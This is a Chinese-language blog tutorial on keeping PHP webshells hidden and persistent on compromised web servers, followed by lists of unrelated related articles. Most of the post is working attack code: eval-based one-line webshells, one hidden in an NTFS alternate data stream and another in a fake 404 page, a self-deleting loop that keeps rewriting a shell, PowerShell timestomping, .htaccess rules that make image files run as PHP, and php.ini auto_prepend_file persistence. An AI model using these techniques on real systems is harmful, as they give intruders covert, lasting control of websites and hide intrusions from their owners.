PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
php cli 方式 在crotab中运行解决
Feb 08 PHP
php垃圾代码优化操作代码
Aug 05 PHP
php设计模式之观察者模式的应用详解
May 21 PHP
使用PHP会话(Session)实现用户登陆功能
Jun 29 PHP
PHP中将ip地址转成十进制数的两种实用方法
Aug 15 PHP
PHP读取文件内容后清空文件示例代码
Mar 18 PHP
php进行支付宝开发中return_url和notify_url的区别分析
Dec 22 PHP
Centos6.5和Centos7 php环境搭建方法
May 27 PHP
php中实现进程锁与多进程的方法
Sep 18 PHP
PHP使用Redis长连接的方法详解
Feb 12 PHP
PHP7内核CGI与FastCGI详解
Apr 14 PHP
Laravel validate error处理,ajax,json示例
Oct 25 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
php读取二进制流(C语言结构体struct数据文件)的深入解析
2013/06/13 PHP
使用Curl进行抓取远程内容时url中文编码问题示例探讨
2013/10/29 PHP
ThinkPHP单字母函数(快捷方法)使用总结
2014/07/23 PHP
php单一接口的实现方法
2015/06/20 PHP
PHP将字符串首字母大小写转换的实例
2017/01/21 PHP
实现laravel 插入操作日志到数据库的方法
2019/10/11 PHP
PHP时间相关常用函数用法示例
2020/06/03 PHP
SUN的《AJAX与J2EE》全文译了
2007/02/23 Javascript
JS 的应用开发初探(mootools)
2009/12/19 Javascript
JS实现在Repeater控件中创建可隐藏区域的代码
2010/09/16 Javascript
多种方法实现360浏览器下禁止自动填写用户名密码
2014/06/16 Javascript
AngularJS 指令详细介绍
2016/07/27 Javascript
Bootstrap 3的box-sizing样式导致UEditor控件的图片无法正常缩放的解决方案
2016/09/15 Javascript
微信小程序scroll-view实现滚动穿透和阻止滚动的方法
2018/08/20 Javascript
微信小程序实现图片翻转效果的实例代码
2019/09/20 Javascript
浅谈python中scipy.misc.logsumexp函数的运用场景
2016/06/23 Python
python使用电子邮件模块smtplib的方法
2016/08/28 Python
python实现多线程抓取知乎用户
2016/12/12 Python
python查看微信好友是否删除自己
2016/12/19 Python
关于python pyqt5安装失败问题的解决方法
2017/08/08 Python
Flask模板引擎之Jinja2语法介绍
2019/06/26 Python
python中对数据进行各种排序的方法
2019/07/02 Python
Python编写通讯录通过数据库存储实现模糊查询功能
2019/07/18 Python
纯DOM+CSS3实现简单的小风车动画
2016/09/27 HTML / CSS
html5 的a标签 Href 拨电话的写法
2013/11/04 HTML / CSS
Tirendo比利时:在线购买轮胎
2018/10/22 全球购物
中国旅游网站:途牛旅游网
2019/09/29 全球购物
世界上最大的皮肤科医生拥有和经营的美容网站:LovelySkin
2021/01/03 全球购物
怎么写好自荐信
2013/10/30 职场文书
观看《永远的雷锋》心得体会
2014/03/12 职场文书
小学生勤俭节约演讲稿
2014/08/28 职场文书
全国法制宣传日活动总结2014
2014/11/01 职场文书
综合素质自我评价评语
2015/03/06 职场文书
上甘岭观后感
2015/06/10 职场文书
javaScript Array api梳理
2021/03/31 Javascript
Python一些基本的图像操作和处理总结
2021/06/23 Python